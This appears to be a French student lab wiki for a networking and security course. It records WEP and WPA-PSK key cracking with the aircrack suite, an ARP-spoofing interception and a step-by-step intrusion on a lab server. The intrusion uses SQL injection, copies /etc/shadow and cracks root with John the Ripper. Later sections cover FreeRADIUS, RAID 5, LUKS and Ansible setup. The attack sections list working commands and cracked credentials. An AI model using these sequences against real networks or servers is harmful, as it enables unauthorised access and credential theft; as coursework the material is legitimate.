== Cassage de clef WEP d’un point d’accès WiFi ==<br />
<br />
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :<br />
<br />
$ airmon-ng<br />
<br />
On trouve l'interface suivante :<br />
<br />
wlx40a5ef0127d0<br />
<br />
On essaie de démarrer l'interface sur le channel 3 :<br />
<br />
$ airmon-ng start wlx40a5ef0127d0 3<br />
<br />
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement "wlan0mon". On ré-utilise la commande précédente avec le nouveau nom d'interface :<br />
<br />
$ airmon-ng start wlan0mon 3<br />
<br />
On écoute ensuite tous les paquets dans l'air :<br />
<br />
$ airodump-ng wlan0mon<br />
<br />
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.<br />
<br />
$ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon<br />
<br />
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :<br />
<br />
$ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon<br />
<br />
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :<br />
<br />
$ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon<br />
<br />
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.<br />
<br />
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :<br />
<br />
$ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap<br />
<br />
On obtient alors :<br />
<br />
KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]<br />
Decrypted correctly: 100%<br />
<br />
== Cassage de mot de passe WPA-PSK par force brute ==<br />
<br />
$ airmon-ng<br />
$ airmon-ng start wlan0mon 9<br />
$ airodump-ng wlan0mon<br />
<br />
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :<br />
<br />
$ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon<br />
<br />
On crée le dictionnaire contenant toutes les clefs à tester avec la commande <code>crunch</code><br />
<br />
$ crunch 8 8 0123456789 -o dictionnaire.lst<br />
<br />
Pour savoir si un Handshake a été trouvé, on utilise la commande :<br />
<br />
$ aircrack-ng psk*.cap<br />
<br />
On trouve : <br />
<br />
# BSSID ESSID Encryption<br />
1 44:AD:D9:5F:87:05 kracotte06 WPA (1 handshake)<br />
<br />
On peut alors lancer la commande de test des clefs :<br />
<br />
$ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap<br />
<br />
Après un peu d'attente, on obtient la clef suivante :<br />
<br />
KEY FOUND! [ 59906999 ]<br />
<br />
== Attaque de type "homme au milieu" par usurpation ARP ==<br />
<br />
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.<br />
<br />
On fait :<br />
<br />
$ echo 1 > /proc/sys/net/ipv4/ip_forward<br />
<br />
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):<br />
<br />
$ arpspoof -t 172.26.145.61 172.26.145.254<br />
<br />
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.<br />
<br />
== Intrusion sur un serveur d’application Web ==<br />
<br />
Sur honey.plil.info : <br />
<br />
1. injection SQL<br />
<br />
2. connexion en tant qu'admin<br />
<br />
3. telechargement du fichier "config-db.php" (On remarque que il existe une BDD phpmyadmin) et "database.php" (ce fichier semble lui ne pas nous apporter d'informations)<br />
<br />
4. honey.plil.info/phpmyadmin -> connexion avec les logins trouvés dans le fichier "config-db.php" (phpmyadmin et gencovid19). On trouve alors une table "pma_users" indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).<br />
<br />
5. en essayant le mdp "gencovid19" avec ces identifiants sur phpmyadmin : on peut se connecter en tant que "root" sur la BDD et on trouve le mdp de rex dans la bdd "test" et table "users".<br />
<br />
6. connexion en ssh sur rex@honey.plil.info.<br />
<br />
7. comme indication : "le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets". Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo => bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :<br />
<br />
$ crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico.txt<br />
<br />
Et on double la taille des mots :<br />
<br />
$ sed -i 's/\(.*\)/\1\1/' dico.txt<br />
<br />
On copie ensuite les fichiers "/etc/passwd" et "/etc/shadow" de rex@honey.plil.info sur notre zabeth. <br />
<br />
$ scp rex@honey.plil.info:/etc/passwd .<br />
$ scp rex@honey.plil.info:/etc/shadow .<br />
<br />
On utilise alors l'utilitaire "shadow" pour obtenir un fichier contenant le mot de passe haché de root :<br />
<br />
$ unshadow passwd shadow | head -1 > honey<br />
<br />
Puis on utilise "John the Ripper" pour cracker le mot de passe :<br />
<br />
$ john -w:dico.txt honey<br />
<br />
Après quelques minutes, on peut afficher le mot de passe trouvé :<br />
<br />
$ john --show honey<br />
root:fortfort:0:0:root:/root:/bin/bash<br />
1 password hash cracked, 0 left<br />
<br />
On trouve le mot de passe de root@honey.plil.info qui est "fortfort".<br />
<br />
= Point d'accès Wi-Fi authentifié via FreeRADIUS =<br />
<br />
== Configuration du point d'accès ==<br />
<br />
=== Point d'accès ===<br />
<br />
Tout d'abord il faut configurer l'authentification EAP dans la configuration :<br />
<br />
conf t<br />
<br />
aaa new-model<br />
aaa authentication login eap_rose group radius_rose<br />
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin<br />
aaa group server radius radius_rose<br />
server 193.48.57.181 auth-port 1812 acct-port 1813<br />
exit<br />
<br />
Configurons le SSID :<br />
<br />
conf t<br />
<br />
dot11 ssid SSID_ROSE<br />
vlan 5<br />
authentication open eap eap_rose<br />
authentication network-eap eap_rose<br />
authentication key-management wpa<br />
mbssid guest-mode<br />
exit<br />
exit<br />
<br />
On associe notre SSID à l'interface WIFI :<br />
<br />
conf t<br />
<br />
interface Dot11Radio0<br />
encryption vlan 5 mode ciphers aes-ccm tkip<br />
ssid SSID_ROSE<br />
mbssid<br />
exit<br />
exit<br />
<br />
On paramètre notre VLAN (5)<br />
<br />
conf t<br />
<br />
interface Dot11Radio0.5<br />
encapsulation dot1Q 5<br />
no ip route-cache<br />
bridge-group 5<br />
bridge-group 5 subscriber-loop-control<br />
bridge-group 5 spanning-disabled<br />
bridge-group 5 block-unknown-source<br />
exit<br />
exit<br />
<br />
On configure l'interface filaire<br />
<br />
conf t<br />
<br />
interface GigabitEthernet0.5<br />
encapsulation dot1Q 5<br />
bridge-group 5<br />
exit<br />
exit<br />
<br />
Enfin, on configure l'IP de l'AP et sa gateway<br />
<br />
conf t<br />
<br />
ip default-gateway 10.1.0.1<br />
interface BVI 1<br />
ip address 10.1.0.3 255.255.255.0<br />
exit<br />
exit<br />
<br />
=== Routeur ===<br />
<br />
Commençons par configurer le VLAN 1 <br />
<br />
conf t<br />
<br />
interface vlan 1<br />
ip address 10.1.0.1 255.255.255.0<br />
exit<br />
exit<br />
<br />
Puis on configure le port (ici Gi1/0/3<br />
<br />
conf t<br />
<br />
interface Gi1/0/3<br />
switchport<br />
switchport mode trunk<br />
switchport trunk allowed vlan add 1<br />
exit<br />
exit<br />
<br />
Et voilà mon grand<br />
<br />
== Serveur FreeRADIUS ==<br />
<br />
Installation de freeRADIUS<br />
<br />
apt install freeradius<br />
<br />
On commence par configurer <code>/etc/freeradius/3.0/clients.conf</code> à détailler<br />
<br />
client zozo {<br />
ipaddr = 10.1.0.3/24<br />
secret = zinzin<br />
}<br />
<br />
ensuite <code>/etc/freeradius/3.0/eap.conf</code><br />
<br />
eap {<br />
[...]<br />
default_eap_type = peap<br />
}<br />
<br />
puis <code>/etc/freeradius/3.0/users</code><br />
<br />
[...]<br />
root Cleartext-Password := "glopglop"<br />
<br />
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug <code>freeradius -X</code> (après avoir au préalable stoppé le processus)<br />
<br />
= Réalisations =<br />
<br />
== Sécurisation des données (RAID 5) ==<br />
<br />
Nous avons besoin de 3 LV à rajouter à notre VM :<br />
<br />
$ lvcreate -L1G -n Bellerose-raid1 storage<br />
$ lvcreate -L1G -n Bellerose-raid2 storage<br />
$ lvcreate -L1G -n Bellerose-raid3 storage<br />
<br />
Nous pouvons ainsi les rajouter à la configuration de notre VM (<code>/etc/xen/Bellerose.cfg</code>):<br />
<br />
'phy:/dev/storage/Bellerose-raid1,xvda5,w'<br />
'phy:/dev/storage/Bellerose-raid2,xvda6,w'<br />
'phy:/dev/storage/Bellerose-raid3,xvda7,w'<br />
<br />
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.<br />
<br />
$ apt install mdadm<br />
<br />
On va ensuite créer un disque nommé <code>/dev/md0</code> grâce à <code>mdadm</code> :<br />
<br />
$ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7<br />
<br />
On peut ainsi vérifier que notre RAID 5 est effectif :<br />
<br />
$ lsblk<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
xvda1 202:1 0 512M 0 disk [SWAP]<br />
xvda2 202:2 0 4G 0 disk /<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
xvda5 202:5 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda6 202:6 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda7 202:7 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
<br />
Enfin il faut monter ce disque fraîchement créé :<br />
<br />
$ mkfs.ext4 /dev/md0<br />
$ mkdir /media/raid<br />
<br />
on ajoute cette ligne dans <code>/etc/fstab</code> :<br />
<br />
/dev/md0 /media/raid ext4 defaults 0 1<br />
<br />
puis<br />
<br />
$ mount -a<br />
<br />
et toc<br />
<br />
== Chiffrement des données ==<br />
<br />
On branche la clé USB sur le petit PC bleu, et on lance <code>lsblk</code> et on trouve :<br />
<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
sda 8:0 1 7,2G 0 disk <br />
<br />
Donc on peut formater la clef qui contient déjà quelque chose dessus :<br />
<br />
$ mkfs.ext4 /dev/sda<br />
<br />
Avec <code>cryptsetup</code> on peut initialiser la clef et lui donner un mdp :<br />
<br />
$ cryptsetup luksFormat /dev/sda<br />
<br />
On crée une partition chiffrée sur la clé :<br />
<br />
$ cryptsetup luksOpen /dev/sda data<br />
<br />
Et on formate :<br />
<br />
$ mkfs.ext4 /dev/mapper/data<br />
<br />
On monte cette partition pour lui permettre de contenir des fichiers :<br />
<br />
$ mkdir /mnt/data-usb<br />
$ mount -t ext4 /dev/mapper/data /mnt/data-usb<br />
<br />
On y ajoute donc un fichier de test :<br />
<br />
$ touch /mnt/data-usb/boujour.txt<br />
<br />
Puis on démonte et on ferme le volume chiffré<br />
<br />
$ umont /mnt/data-usb<br />
$ cryptsetup luksClose data<br />
<br />
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.<br />
<br />
= ASR lab project =<br />
<br />
== Ansible hello world ==<br />
<br />
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :<br />
<br />
<code>roles/ssh_key/tasks/main.yml</code><br />
---<br />
<br />
- name: Create .ssh if it does not exists<br />
file:<br />
path: ~/.ssh<br />
state: directory <br />
<br />
- name: Copy authorized_keys<br />
copy:<br />
src: authorized_keys<br />
dest: ~/.ssh/authorized_keys<br />
<br />
Ce dernier prend le fichier <code>../files/authorized_keys</code> (local) et le place dans <code>~/.ssh</code> (vm) après avoir créé ce répertoire si besoin.<br />
<br />
== Iptables ==<br />
<br />
<code>roles/iptables/tasks/main.yml</code><br />
---<br />
<br />
- name: Allow ports INPUT tcp<br />
iptables:<br />
chain: INPUT<br />
protocol: tcp<br />
destination_port: "{ { item } }"<br />
jump: ACCEPT<br />
ctstate: NEW,ESTABLISHED<br />
loop: "{ { iptables_accepted_tcp_ports } }"<br />
<br />
- name: Allow ports INPUT udp<br />
iptables:<br />
chain: INPUT<br />
protocol: udp<br />
destination_port: "{ { item } }"<br />
jump: ACCEPT<br />
ctstate: NEW,ESTABLISHED<br />
loop: "{ { iptables_accepted_udp_ports } }"<br />
<br />
- name: Set the policy for the INPUT chain to DROP<br />
ansible.builtin.iptables:<br />
chain: INPUT<br />
policy: DROP<br />
<br />
Ici on ajoute tous les ports que l'on veut ouvert en premier, puis on passe la <code>POLICY</code> à DROP pour ne pas accepter les autres connexions. (il n'y a pas d'espace entre les accolades normalement mais le WIKI nous emmerde)<br />
<br />
Nos ports sont variabilisés:<br />
<br />
<code>roles/iptables/defaults/main.yml</code><br />
---<br />
<br />
iptables_accepted_tcp_ports:<br />
- 8600<br />
- 8500<br />
- 8501<br />
- 8502<br />
- 8301<br />
- 8302<br />
- 8300 <br />
- 22<br />
- 80<br />
- 443<br />
<br />
iptables_accepted_udp_ports:<br />
- 8600<br />
- 8301<br />
- 8302<br />
- 22<br />
- 80<br />
- 443<br />
<br />
voilà<br />
<br />
== Consul ==</div>Lwadbled